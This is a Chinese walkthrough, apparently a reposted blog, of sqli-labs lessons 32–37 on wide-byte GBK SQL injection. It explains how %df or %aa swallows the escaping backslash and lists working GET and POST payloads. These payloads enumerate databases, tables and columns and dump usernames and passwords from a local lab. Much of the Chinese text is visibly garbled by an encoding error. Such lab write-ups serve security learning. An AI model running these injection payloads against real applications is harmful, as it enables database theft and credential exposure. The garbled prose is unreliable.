這六關(guān)都是關(guān)于寬字節(jié)注入的,分為GET
/POST
型,其實(shí)都一樣,只不過(guò)POST
要用一下burp
原理
mysql在使用GBK編碼的時(shí)候,會(huì)認(rèn)為兩個(gè)字符為一個(gè)漢字,例如%aa%5c就是一個(gè)漢字(前一個(gè)ascii碼大于128才能到漢字的范圍)。我們?cè)谶^(guò)濾 ' 的時(shí)候,往往利用的思路是將 ' 轉(zhuǎn)換為 ' (轉(zhuǎn)換的函數(shù)可以自定義,也可以用PHP自帶函數(shù))。
因此我們?cè)诖讼朕k法將 ' 前面添加的除掉,一般有兩種思路:
1.%df吃掉具體的原因是urlencode(') = %5c%27,我們?cè)?5c%27前面添加%df,形成%df%5c%27,而上面提到的mysql在GBK編碼方式的時(shí)候會(huì)將兩個(gè)字節(jié)當(dāng)做一個(gè)漢字,此時(shí)%df%5c就是一個(gè)漢字,%27則作為一個(gè)單獨(dú)的符號(hào)在外面,同時(shí)也就達(dá)到了我們的目的。
2.將'中的過(guò)濾掉,例如可以構(gòu)造 %**%5c%5c%27的情況,后面的%5c會(huì)被前面的%5c給注釋掉。這也是bypass的一種方法。
less-32
http://127.0.0.1/sqli-labs/Less-32/?id=-1%E6' union select 1,2,database() --+
?
less-33
http://127.0.0.1/sqli-labs/Less-33/?id=-1%E6' union select 1,2,database() --+
?
less-34
1、先判斷閉合方式
(1)、輸入uname=admin'&passwd=123456&submit=Submit
?
?
發(fā)現(xiàn)后臺(tái)為單引號(hào)加了一個(gè)反斜杠來(lái)轉(zhuǎn)義單引號(hào)。
(2)輸入?uname=admin%aa'&passwd=123456&submit=Submit
?
?
?根據(jù)錯(cuò)誤回顯和提示,可以判斷閉合方式,并且構(gòu)造出閉合語(yǔ)句uname=111%aa'#&passwd=111&submit=Submit
2、判斷列數(shù)
(1)輸入uname=admin%aa' order by 2#&passwd=aaaaaa&submit=Submit
?
?
?正常顯示。
(2)輸入uname=admin%aa' order by 3#&passwd=aaaaaa&submit=Submit
?
?
?報(bào)錯(cuò),所以列數(shù)為兩列?
3、爆破
(1)查看顯示位
uname=admin%aa' union select 1,2#&passwd=aaaaaa&submit=Submit
?
?
?
?(2)爆庫(kù)
uname=admin%aa' union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=aaaaaa&submit=Submit
?
?
?(3)爆表
uname=admin%aa' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=aaaaaa&submit=Submit
?
?
(4)爆列
因?yàn)楹笈_(tái)代碼會(huì)轉(zhuǎn)義單引號(hào),所以在爆列語(yǔ)句中使用十六進(jìn)制來(lái)表示表名
users的十六進(jìn)制:0x7573657273? security的十六進(jìn)制:0x7365637572697479
?
?(5)爆數(shù)據(jù)
uname=admin%aa' union select group_concat(username),group_concat(password) from users#&passwd=aaaaaa&submit=Submit
?
?
?less-35
http://127.0.0.1/sqli-labs/Less-35/?id=-1 union select 1,version(),database()--+
?
?
?less-36
http://127.0.0.1/sqli-labs/Less-36/?id=-1%E6' union select 1,2,database()--+
?
?
?less-37
和34關(guān)一樣,不再贅述
?
本文摘自 :https://www.cnblogs.com/